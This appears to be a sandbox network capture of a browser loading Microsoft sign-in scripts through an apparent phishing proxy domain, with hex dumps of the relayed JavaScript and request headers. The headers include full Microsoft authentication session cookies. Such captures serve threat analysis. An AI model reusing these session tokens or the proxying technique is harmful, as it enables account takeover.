fpc=Ag3Kly0IoDdBkfMWaLarS2aerOTJAQAAACmFvd0OAAAA
2024-04-26 11:21:17 UTC	139	IN	HTTP/1.1 200 OK Content-Length: 689017 Content-Type: application/x-javascript Date: Fri, 26 Apr 2024 11:21:17 GMT Connection: close
2024-04-26 11:21:17 UTC	16245	IN	Data Raw: 0a 21 28 66 75 6e 63 74 69 6f 6e 20 28 65 29 20 7b 0a 20 20 66 75 6e 63 74 69 6f 6e 20 6e 28 6e 29 20 7b 0a 20 20 20 20 66 6f 72 20 28 76 61 72 20 74 2c 20 69 2c 20 6f 20 3d 20 6e 5b 30 5d 2c 20 72 20 3d 20 6e 5b 31 5d 2c 20 73 20 3d 20 30 2c 20 63 20 3d 20 5b 5d 3b 20 73 20 3c 20 6f 2e 6c 65 6e 67 74 68 3b 20 73 2b 2b 29 0a 20 20 20 20 20 20 28 69 20 3d 20 6f 5b 73 5d 29 2c 0a 20 20 20 20 20 20 20 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 20 69 29 20 26 26 20 61 5b 69 5d 20 26 26 20 63 2e 70 75 73 68 28 61 5b 69 5d 5b 30 5d 29 2c 0a 20 20 20 20 20 20 20 20 28 61 5b 69 5d 20 3d 20 30 29 3b 0a 20 20 20 20 66 6f 72 20 28 74 20 69 6e 20 72 29 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f Data Ascii: !(function (e) { function n(n) { for (var t, i, o = n[0], r = n[1], s = 0, c = []; s < o.length; s++) (i = o[s]), Object.prototype.hasOwnProperty.call(a, i) && a[i] && c.push(a[i][0]), (a[i] = 0); for (t in r) Object.proto
2024-04-26 11:21:17 UTC	16384	IN	Data Raw: 6f 63 6b 65 64 3a 20 31 30 30 2c 0a 20 20 20 20 20 20 20 20 54 69 6c 65 73 3a 20 31 30 32 2c 0a 20 20 20 20 20 20 20 20 52 65 6d 6f 74 65 43 6f 6e 6e 65 63 74 3a 20 31 30 33 2c 0a 20 20 20 20 20 20 20 20 46 65 64 43 6f 6e 66 6c 69 63 74 3a 20 31 30 35 2c 0a 20 20 20 20 20 20 20 20 57 69 6e 31 30 48 6f 73 74 5f 4c 6f 67 69 6e 3a 20 31 30 36 2c 0a 20 20 20 20 20 20 20 20 57 69 6e 31 30 48 6f 73 74 5f 4c 6f 67 69 6e 5f 50 68 6f 6e 65 53 69 67 6e 69 6e 3a 20 31 30 37 2c 0a 20 20 20 20 20 20 20 20 57 69 6e 31 30 48 6f 73 74 5f 46 69 6e 69 73 68 3a 20 31 30 38 2c 0a 20 20 20 20 20 20 20 20 57 69 6e 31 30 48 6f 73 74 5f 53 74 72 6f 6e 67 41 75 74 68 3a 20 31 30 39 2c 0a 20 20 20 20 20 20 20 20 57 69 6e 31 30 48 6f 73 74 5f 48 49 50 5f 4c 6f 67 69 6e 3a 20 31 31 Data Ascii: ocked: 100, Tiles: 102, RemoteConnect: 103, FedConflict: 105, Win10Host_Login: 106, Win10Host_Login_PhoneSignin: 107, Win10Host_Finish: 108, Win10Host_StrongAuth: 109, Win10Host_HIP_Login: 11
2024-04-26 11:21:19 UTC	16384	IN	Data Raw: 20 28 50 52 4f 4f 46 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 54 79 70 65 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 45 6d 61 69 6c 3a 20 31 2c 0a 20 20 20 20 20 20 20 20 20 20 41 6c 74 45 6d 61 69 6c 3a 20 32 2c 0a 20 20 20 20 20 20 20 20 20 20 53 4d 53 3a 20 33 2c 0a 20 20 20 20 20 20 20 20 20 20 44 65 76 69 63 65 49 64 3a 20 34 2c 0a 20 20 20 20 20 20 20 20 20 20 43 53 53 3a 20 35 2c 0a 20 20 20 20 20 20 20 20 20 20 53 51 53 41 3a 20 36 2c 0a 20 20 20 20 20 20 20 20 20 20 43 65 72 74 69 66 69 63 61 74 65 3a 20 37 2c 0a 20 20 20 20 20 20 20 20 20 20 48 49 50 3a 20 38 2c 0a 20 20 20 20 20 20 20 20 20 20 42 69 72 74 68 64 61 79 3a 20 39 2c 0a 20 20 20 20 20 20 20 20 20 20 54 4f 54 50 41 75 74 68 65 6e 74 69 63 61 74 6f 72 3a 20 31 30 2c 0a 20 20 20 20 20 20 Data Ascii: (PROOF = { Type: { Email: 1, AltEmail: 2, SMS: 3, DeviceId: 4, CSS: 5, SQSA: 6, Certificate: 7, HIP: 8, Birthday: 9, TOTPAuthenticator: 10,
2024-04-26 11:21:19 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 20 20 6e 20 7c 7c 20 22 22 20 3d 3d 3d 20 6e 20 7c 7c 20 28 6e 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 29 3b 0a 20 20 20 20 20 20 20 20 20 20 76 61 72 20 74 20 3d 20 50 2e 70 61 72 73 65 28 6e 29 3b 0a 20 20 20 20 20 20 20 20 20 20 74 2e 71 75 65 72 79 20 3d 20 74 2e 71 75 65 72 79 20 7c 7c 20 7b 7d 3b 0a 20 20 20 20 20 20 20 20 20 20 76 61 72 20 69 20 3d 20 73 2e 66 69 6e 64 4f 77 6e 50 72 6f 70 65 72 74 79 28 74 2e 71 75 65 72 79 2c 20 65 2c 20 21 30 29 3b 0a 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 69 20 3f 20 74 2e 71 75 65 72 79 5b 69 5d 20 3a 20 22 22 3b 0a 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 61 70 70 65 6e 64 4f 72 52 65 70 6c 61 63 65 46 72 6f 6d 43 Data Ascii: n \|\| "" === n \|\| (n = document.location.search); var t = P.parse(n); t.query = t.query \|\| {}; var i = s.findOwnProperty(t.query, e, !0); return i ? t.query[i] : ""; }, appendOrReplaceFromC
2024-04-26 11:21:20 UTC	16384	IN	Data Raw: 5d 2f 67 2c 0a 20 20 20 20 20 20 20 20 20 20 67 61 70 2c 0a 20 20 20 20 20 20 20 20 20 20 69 6e 64 65 6e 74 2c 0a 20 20 20 20 20 20 20 20 20 20 6d 65 74 61 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 62 22 3a 20 22 5c 5c 62 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 74 22 3a 20 22 5c 5c 74 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 6e 22 3a 20 22 5c 5c 6e 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 66 22 3a 20 22 5c 5c 66 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 72 22 3a 20 22 5c 5c 72 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 27 22 27 3a 20 27 5c 5c 22 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 5c 22 3a 20 22 5c 5c 5c 5c 22 2c 0a 20 20 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: ]/g, gap, indent, meta = { "\b": "\\b", "\t": "\\t", "\n": "\\n", "\f": "\\f", "\r": "\\r", '"': '\\"', "\\": "\\\\", },
2024-04-26 11:21:20 UTC	16384	IN	Data Raw: 20 20 20 20 76 61 72 20 6d 20 3d 20 66 2e 61 64 64 28 64 2c 20 63 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 2e 74 61 72 67 65 74 55 72 6c 20 3d 20 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 61 2e 48 61 6e 64 6c 65 72 2e 63 61 6c 6c 28 6e 2c 20 70 29 2c 20 6e 2e 73 65 6e 64 52 65 71 75 65 73 74 28 29 3b 0a 20 20 20 20 20 20 20 20 7d 29 2c 0a 20 20 20 20 20 20 20 20 28 6e 2e 42 65 61 63 6f 6e 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 65 2c 20 74 2c 20 69 2c 20 61 2c 20 6f 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 76 61 72 20 72 20 3d 20 5b 5d 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 20 3d 20 76 28 21 30 29 3b 0a 20 20 20 20 20 20 20 20 20 20 70 2e 66 6f 72 45 61 63 68 28 Data Ascii: var m = f.add(d, c); p.targetUrl = m; } } a.Handler.call(n, p), n.sendRequest(); }), (n.Beacon = function (e, t, i, a, o) { var r = [], s = v(!0); p.forEach(
2024-04-26 11:21:21 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 6e 20 3f 20 28 6c 20 3d 3d 3d 20 70 2e 46 54 45 72 72 6f 72 20 3f 20 68 28 65 2c 20 64 29 20 3a 20 76 28 65 2c 20 64 29 29 20 3a 20 62 28 65 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 6b 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 28 67 20 3d 20 22 22 29 2c 20 28 6c 20 3d 20 70 2e 45 72 72 6f 72 29 2c 20 28 75 20 3d 20 22 22 29 2c 20 28 66 20 3d 20 22 22 29 2c 20 76 28 64 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 54 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 28 6c 20 3d 20 70 2e 54 69 6d 65 6f 75 74 29 2c 20 28 75 20 3d 20 22 22 29 2c 20 28 66 20 3d 20 22 22 29 2c 20 28 67 20 3d 20 22 22 29 2c 20 76 28 64 29 3b 0a 20 20 20 20 Data Ascii: n ? (l === p.FTError ? h(e, d) : v(e, d)) : b(e); } function k() { (g = ""), (l = p.Error), (u = ""), (f = ""), v(d); } function T() { (l = p.Timeout), (u = ""), (f = ""), (g = ""), v(d);
2024-04-26 11:21:21 UTC	16384	IN	Data Raw: 3d 20 6e 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 74 20 3d 20 7b 20 63 72 65 64 54 79 70 65 3a 20 6d 2e 4f 6e 65 54 69 6d 65 43 6f 64 65 2c 20 70 72 6f 6f 66 3a 20 65 20 7d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 77 69 74 63 68 20 28 28 28 74 2e 70 72 6f 6f 66 2e 69 73 45 6e 63 72 79 70 74 65 64 20 3d 20 21 30 29 2c 20 65 2e 74 79 70 65 29 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 61 73 65 20 50 52 4f 4f 46 2e 54 79 70 65 2e 53 4d 53 3a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 61 73 65 20 50 52 4f 4f 46 2e 54 79 70 65 2e 56 6f 69 63 65 3a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 21 65 2e 69 73 56 6f 69 63 65 4f 6e 6c 79 29 20 7b 0a 20 20 20 20 20 20 20 20 20 Data Ascii: = n) { var t = { credType: m.OneTimeCode, proof: e }; switch (((t.proof.isEncrypted = !0), e.type)) { case PROOF.Type.SMS: case PROOF.Type.Voice: if (!e.isVoiceOnly) {
2024-04-26 11:21:22 UTC	16384	IN	Data Raw: 3d 20 70 2e 61 70 70 65 6e 64 4f 72 52 65 70 6c 61 63 65 28 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 3f 22 20 2b 20 67 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 77 63 74 78 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 4c 6f 67 69 6e 4f 70 74 69 6f 6e 73 25 33 44 33 25 32 36 22 20 2b 20 70 2e 65 78 74 72 61 63 74 28 22 77 63 74 78 22 2c 20 22 3f 22 20 2b 20 67 65 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 28 74 20 3d 20 74 2e 73 75 62 73 74 72 28 31 29 29 2c 20 28 65 20 3d 20 70 2e 61 70 70 65 6e 64 28 65 2c 20 74 29 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: = p.appendOrReplace( "?" + ge, "wctx", "LoginOptions%3D3%26" + p.extract("wctx", "?" + ge) ); (t = t.substr(1)), (e = p.append(e, t));
2024-04-26 11:21:22 UTC	16384	IN	Data Raw: 20 20 28 65 2e 65 78 70 6f 72 74 73 20 3d 20 70 29 3b 0a 20 20 7d 2c 0a 20 20 66 75 6e 63 74 69 6f 6e 20 28 65 2c 20 6e 2c 20 74 29 20 7b 0a 20 20 20 20 76 61 72 20 69 20 3d 20 74 28 32 29 2c 0a 20 20 20 20 20 20 61 20 3d 20 74 28 31 29 2c 0a 20 20 20 20 20 20 6f 20 3d 20 74 28 34 29 2c 0a 20 20 20 20 20 20 72 20 3d 20 74 28 30 29 2c 0a 20 20 20 20 20 20 73 20 3d 20 77 69 6e 64 6f 77 2c 0a 20 20 20 20 20 20 63 20 3d 20 72 2e 44 69 61 6c 6f 67 49 64 3b 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 64 28 65 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 6e 20 3d 20 74 68 69 73 2c 0a 20 20 20 20 20 20 20 20 74 20 3d 20 65 2e 69 73 50 6c 61 74 66 6f 72 6d 41 75 74 68 65 6e 74 69 63 61 74 6f 72 41 76 61 69 6c 61 62 6c 65 3b 0a 20 20 20 20 20 20 28 6e 2e 6f 6e 52 65 67 Data Ascii: (e.exports = p); }, function (e, n, t) { var i = t(2), a = t(1), o = t(4), r = t(0), s = window, c = r.DialogId; function d(e) { var n = this, t = e.isPlatformAuthenticatorAvailable; (n.onReg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49735	2.58.15.240	443	7092	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 11:21:16 UTC	2751	OUT	GET /aadcdn.msauth.net/~/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_l2bvdjfwt697xziuhxpwsg2.js HTTP/1.1 Host: r6duftx9uh6.scrdata-doc.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://r6duftx9uh6.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9NDdmOThkZTktYTQyMS02ODlhLTczZjAtZGQyNGViMTUxMzQxJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzI3MjY4MjI1NzEzNC5hMzYxOTAyMS0xNWZjLTRiOTktOWY0ZS04YWJmMmQzMTM1YTImc3RhdGU9RGNzN0ZvQWdEQUJCME9keEl1UURJY2NKS3EybDF6ZkZiTGM1cGJTSExlUWFTZHA1aUNrcDlVSFVGRmxPNTQ1V0NRSGJ1a0NtR2RpU0I0YlBSVGNqTjZjYzcxSGV6OHNQ&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=4aRRMNgQQ48G; qPdM.sig=VX_p9ZlQxDGH45hp-am1FhGFA2s; ClientId=EFCB49F917AE4E1CA88B2BE99C2A2FDF; OIDC=1; OpenIdConnect.nonce.v3.9JB4ObWnOKtyZpRb76ggMLLANwVQnfEgoMR303jZyQ0=638497272682257134.a3619021-15fc-4b99-9f4e-8abf2d3135a2; X-OWA-RedirectHistory=ArLym14B7hpI-OJl3Ag; esctx-GwyRz7LSa6M=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd86j77PIMFOB6g9hYdh82rwJMsmHDcoI3LRYEPxY25z-Tqu9abNNpfAXaaQTNTAbGTlIXADbESNthkcQwqlDxKDRTgtkPhr1wfYDLBiW7Yz_RdCfucfYs8T-CRalNSnmi1ucS1ngVZ4L-cxvWU5sy6ciAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AToAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8zVq_c4QVv77LXu0sBzN5JoSWEmnPlEaTpKJHx-TIOCfHAFIm7A4qbYEDXjnwNt5X0w5nxTNmx2-70iJHZ6K6mPbcNpF-FvfODcs5amkEDr0gAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8ty0v5DMjVd2_I3cESbvAXzAChW4-s5vW-ynxIqujloA-wDIupKgxp3BZamYAQD4EigknT1i75m8IJ1H7b5q9NavOS-4r8xIFiqVWT_36chWu_AJNyVX9xXBZ3HvzdRRUzcoMgNUbfivAsO1BgTG07VYiBshnzmSet5Du-xqgZ5IgAA; esctx-mHRmohW2y4E=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8vT8b7tFC6DxSRJ5zbR3GMtP2zQGx9ZjMIhAjqWvrRH1gC9XNzQRHXkHwW76Wo9jv2xRkWmBKCTWq2VAhHKCBmNJy2oXms-wns56TPXYUI6fANss6_PNOhDlOOCYYeG0dht26-KjETBtSveP7qykzrSAA; fpc=Ag3Kly0IoDdBkfMWaLarS2aerOTJAQAAACmFvd0OAAAA
2024-04-26 11:21:17 UTC	1390	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 11:21:17 GMT Content-Type: application/x-javascript content-length: 55071 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Thu, 28 Mar 2024 02:23:53 GMT ETag: 0x8DC4ECE1D0444D4 x-ms-request-id: ac861501-601e-0008-274e-94bd8f000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T112117Z-16f6b7d4654qfkh9g2m5kybc9n00000001qg000000008msv x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-04-26 11:21:17 UTC	10	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 Data Ascii:
2024-04-26 11:21:17 UTC	15789	IN	Data Raw: dd 7d 4d 73 23 47 b2 d8 dd bf 02 8b 75 68 86 4f 3d 10 3e f8 89 11 34 06 01 70 06 4f 24 00 01 e0 50 0a 49 46 34 81 22 d8 4b a0 1b af bb 31 1c 2e 35 8e bd f9 f0 0e be da 37 1f 7c f2 d1 17 df fd 53 36 e2 f9 77 38 3f aa aa ab ba 1b 00 39 d2 d3 ee b3 42 c1 41 77 55 65 65 65 65 65 65 66 65 65 ff e1 66 ed 4f 63 2f f0 5f 8a bd 47 f5 bb 10 bc f4 f7 1e bd 9b 97 de 8f fe cf 7b a1 88 d7 a1 5f c0 df 25 f1 71 15 84 71 f4 fa 83 1b 16 e2 06 be 6a 3c ca 77 f5 c7 4f 8e 37 ab fb ce 22 70 67 62 56 ff 43 e5 d3 6b d9 54 60 d3 a9 bb 58 bc 8c 15 04 27 76 92 df c1 1e 3c 70 b3 c6 1f ca 49 c1 27 ec c6 6b 3c 6a 40 41 69 d9 10 4e 50 9a 36 3c f8 bb 6a 14 8b 4e f0 b2 bc f7 e9 e5 8f c9 30 9c c0 f1 00 f9 97 d5 3d c2 d2 6f 78 2f 2b 00 1f fe 39 d8 73 42 f8 e7 70 cf 71 1b 61 69 14 87 9e 3f Data Ascii: }Ms#GuhO=>4pO$PIF4"K1.57\|S6w8?9BAwUeeeeeefeefOc/_G{_%qqj<wO7"pgbVCkT`X'v<pI'k<j@AiNP6<jN0=ox/+9sBpqai?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49741	2.58.15.240	443	7092	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 11:21:31 UTC	2755	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_80e93b9a4cb13643afca.js HTTP/1.1 Host: r6duftx9uh6.scrdata-doc.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://r6duftx9uh6.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9NDdmOThkZTktYTQyMS02ODlhLTczZjAtZGQyNGViMTUxMzQxJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzI3MjY4MjI1NzEzNC5hMzYxOTAyMS0xNWZjLTRiOTktOWY0ZS04YWJmMmQzMTM1YTImc3RhdGU9RGNzN0ZvQWdEQUJCME9keEl1UURJY2NKS3EybDF6ZkZiTGM1cGJTSExlUWFTZHA1aUNrcDlVSFVGRmxPNTQ1V0NRSGJ1a0NtR2RpU0I0YlBSVGNqTjZjYzcxSGV6OHNQ&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=4aRRMNgQQ48G; qPdM.sig=VX_p9ZlQxDGH45hp-am1FhGFA2s; ClientId=EFCB49F917AE4E1CA88B2BE99C2A2FDF; OIDC=1; OpenIdConnect.nonce.v3.9JB4ObWnOKtyZpRb76ggMLLANwVQnfEgoMR303jZyQ0=638497272682257134.a3619021-15fc-4b99-9f4e-8abf2d3135a2; X-OWA-RedirectHistory=ArLym14B7hpI-OJl3Ag; esctx-GwyRz7LSa6M=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd86j77PIMFOB6g9hYdh82rwJMsmHDcoI3LRYEPxY25z-Tqu9abNNpfAXaaQTNTAbGTlIXADbESNthkcQwqlDxKDRTgtkPhr1wfYDLBiW7Yz_RdCfucfYs8T-CRalNSnmi1ucS1ngVZ4L-cxvWU5sy6ciAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AToAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8zVq_c4QVv77LXu0sBzN5JoSWEmnPlEaTpKJHx-TIOCfHAFIm7A4qbYEDXjnwNt5X0w5nxTNmx2-70iJHZ6K6mPbcNpF-FvfODcs5amkEDr0gAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8ty0v5DMjVd2_I3cESbvAXzAChW4-s5vW-ynxIqujloA-wDIupKgxp3BZamYAQD4EigknT1i75m8IJ1H7b5q9NavOS-4r8xIFiqVWT_36chWu_AJNyVX9xXBZ3HvzdRRUzcoMgNUbfivAsO1BgTG07VYiBshnzmSet5Du-xqgZ5IgAA; esctx-mHRmohW2y4E=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8vT8b7tFC6DxSRJ5zbR3GMtP2zQGx9ZjMIhAjqWvrRH1gC9XNzQRHXkHwW76Wo9jv2xRkWmBKCTWq2VAhHKCBmNJy2oXms-wns56TPXYUI6fANss6_PNOhDlOOCYYeG0dht26-KjETBtSveP7qykzrSAA; fpc=Ag3Kly0IoDdBkfMWaLarS2aerOTJAQAAACmFvd0OAAAA
2024-04-26 11:21:33 UTC	1392	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 11:21:32 GMT Content-Type: application/x-javascript content-length: 109863 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Thu, 26 Jan 2023 00:32:54 GMT ETag: 0x8DAFF34DD9DC630 x-ms-request-id: 3aeb44c5-a01e-007c-53cb-97e387000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T112132Z-16f6b7d46548xgq5mfvs194cx800000002vg00000000a54r x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_MISS Accept-Ranges: bytes Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-04-26 11:21:33 UTC	14992	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 e4 bd 6b 7b db c8 91 30 fa 7d 7f 05 c5 93 68 00 13 a4 48 ea 6a 92 10 d7 e3 f1 64 bd c7 63 fb b5 3d d9 37 af cc f8 81 c8 a6 84 31 04 30 b8 d8 56 44 ee 6f 3f 55 d5 77 a0 49 c9 1e 27 9b 73 4e 9e 8c 45 34 1a 7d a9 ae ae ae aa ae cb c1 a3 bd 7f 6b 3d 6a 75 1f fe bf d6 db 77 4f de bc 6b bd fa b9 f5 ee 3f 9e bf f9 a9 f5 1a 9e fe d2 7a f9 ea dd f3 a7 cf 1e de 0e 76 8a ff bd bb 8e 8b d6 32 4e 58 0b fe 5e 46 05 5b b4 b2 b4 95 e5 ad 38 9d 67 f9 2a cb a3 92 15 ad 1b f8 37 8f a3 a4 b5 cc b3 9b 56 79 cd 5a ab 3c fb 8d cd cb a2 95 c4 45 09 1f 5d b2 24 fb dc f2 a0 b9 7c d1 7a 1d e5 e5 6d eb f9 6b bf 07 ed 33 68 2d be 8a 53 f8 7a 9e ad 6e e1 f7 75 d9 4a b3 32 9e b3 56 94 2e a8 b5 04 1e d2 82 b5 aa 74 c1 f2 d6 e7 eb 78 7e dd fa 25 9e e7 59 91 Data Ascii: 